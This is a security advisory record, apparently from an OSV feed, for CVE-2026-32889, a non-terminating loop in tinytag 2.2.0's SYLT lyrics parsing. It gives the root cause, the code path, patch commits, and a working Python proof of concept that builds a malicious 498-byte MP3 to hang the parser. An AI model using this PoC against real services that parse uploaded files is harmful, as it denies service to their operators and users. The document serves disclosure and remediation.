{"id":"CVE-2026-32889","aliases":["GHSA-f4rq-2259-hv29","PYSEC-2026-3386"],"title":"Denial of service via non-terminating SYLT frame parsing loop in tinytag","summary":"Denial of service via non-terminating SYLT frame parsing loop in tinytag","severity":"medium","cvss":6.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","vendor":"tinytag","product":"tinytag","ecosystem":"pip","affected":["tinytag < 2.2.1"],"patched":["tinytag 2.2.1"],"published":"2026-03-19","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-f4rq-2259-hv29","references":[{"url":"https://github.com/tinytag/tinytag/security/advisories/GHSA-f4rq-2259-hv29"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32889"},{"url":"https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a"},{"url":"https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a"},{"url":"https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402"},{"url":"https://github.com/tinytag/tinytag"}],"tags":["osv","pip"],"epss":0.0041,"epssPercentile":0.34976,"ingestedAt":"2026-07-13T18:57:57.132Z","slug":"CVE-2026-32889","body":"## Overview\n\n### Summary\n\n`tinytag` `2.2.0` allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 `SYLT` (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single `498`-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.\n\n### Details\n\nIn tag `2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`), the reachable call path is:\n\n- `TinyTag.get` in [`tinytag/tinytag.py#L144-L154`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L144-L154)\n- `_load` in [`tinytag/tinytag.py#L259-L266`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L259-L266)\n- `_parse_tag` and `_parse_id3v2` in [`tinytag/tinytag.py#L1059-L1092`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1059-L1092)\n- `_parse_frame` for `SYLT` / `SLT` in [`tinytag/tinytag.py#L1316-L1318`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1316-L1318)\n- `_parse_synced_lyrics` and `_find_string_end_pos` in [`tinytag/tinytag.py#L1219-L1248`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1219-L1248) and [`tinytag/tinytag.py#L1340-L1352`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1340-L1352)\n\nThe root cause is that `_parse_synced_lyrics` assumes `_find_string_end_pos` always returns a position greater than the current `offset`. That assumption is false when no string terminator is present in the remaining frame content.\n\nFor single-byte encodings, `_find_string_end_pos` does:\n\n```python\nreturn content.find(b'\\x00', start_pos) + 1\n```\n\nIf no terminator exists, `content.find(...)` returns `-1`, so the function returns `0`. `_parse_synced_lyrics` then does `offset = end_pos`, which resets `offset` to `0` inside:\n\n```python\nwhile offset < content_length:\n    end_pos = self._find_string_end_pos(content, encoding, offset)\n    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\\n')\n    offset = end_pos\n    time = unpack('>I', content[offset:offset + 4])[0]\n```\n\nBecause `offset` is reset to `0`, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in `_find_string_end_pos` has the same shape: if no `b'\\x00\\x00'` terminator is found, it also returns `0`, so the same non-progress condition applies there.\n\n`SYLT` parsing support was introduced by commit [`4d649b9c314ada8ff8a74e0469e9aadb3acb252a`](https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a) (`ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)`), which first shipped in `2.2.0`. I confirmed that `2.1.2` does not contain `_parse_synced_lyrics`, so `2.2.0` is the only confirmed affected release at this time.\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS `26.3` / Darwin `arm64`\n- Python `3.14.3`\n- Confirmed affected release: `tinytag 2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`)\n- Also reproduced on current `main` commit `1d23f6fe169c92c070a265f9108e295577141383`\n\n### PoC\n\nThe following self-contained PoC generates a malformed `SYLT` frame and passes it to `TinyTag.get`:\n\n```python\n#!/usr/bin/env python3\nimport signal\nimport struct\nimport time\nfrom io import BytesIO\n\nfrom tinytag import TinyTag\n\n\ndef create_malicious_mp3() -> bytes:\n    id3_header = b\"ID3\" + bytes([3, 0, 0])  # ID3v2.3\n    encoding = b\"\\x00\"  # ISO-8859-1\n    language = b\"eng\"\n    timestamp_format = b\"\\x02\"\n    content_type = b\"\\x01\"\n    descriptor = b\"test\\x00\"\n    lyrics_data = b\"A\" * 50  # no null terminator in the remaining SYLT payload\n    frame_content = (\n        encoding + language + timestamp_format + content_type + descriptor + lyrics_data\n    )\n    frame = b\"SYLT\" + struct.pack(\">I\", len(frame_content)) + b\"\\x00\\x00\" + frame_content\n\n    tag_size = len(frame)\n    synchsafe = bytearray(4)\n    n = tag_size\n    for i in range(3, -1, -1):\n        synchsafe[i] = n & 0x7F\n        n >>= 7\n\n    return (\n        id3_header\n        + bytes(synchsafe)\n        + frame\n        + b\"\\xff\\xfb\\x90\\x00\"\n        + b\"\\x00\" * 413\n    )\n\n\ndef timeout_handler(signum, frame) -> None:\n    print(\"CONFIRMED: parsing did not finish within 10.0s; external interruption was required\")\n    raise SystemExit(1)\n\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(10)\nstart = time.time()\n\ntry:\n    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename=\"poc.mp3\")\n    signal.alarm(0)\n    print(f\"Unexpectedly completed in {time.time() - start:.3f}s\")\nexcept SystemExit:\n    raise\nexcept Exception as exc:\n    signal.alarm(0)\n    print(f\"Unexpected exception before timeout: {type(exc).__name__}: {exc}\")\n```\n\nObserved output on `2.2.0` in the environment above:\n\n```text\nCONFIRMED: parsing did not finish within 10.0s; external interruption was required\n```\n\n### Impact\n\nAn attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.\n\nIn server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.\n\n### Patches\n\nFixed in the following commits:\n\n- https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402\n- https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a\n\n## Affected packages\n\n- `tinytag < 2.2.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `tinytag 2.2.1`","depth":"sunlit","depthScore":36,"depthScoreParts":{"impact":35.8,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}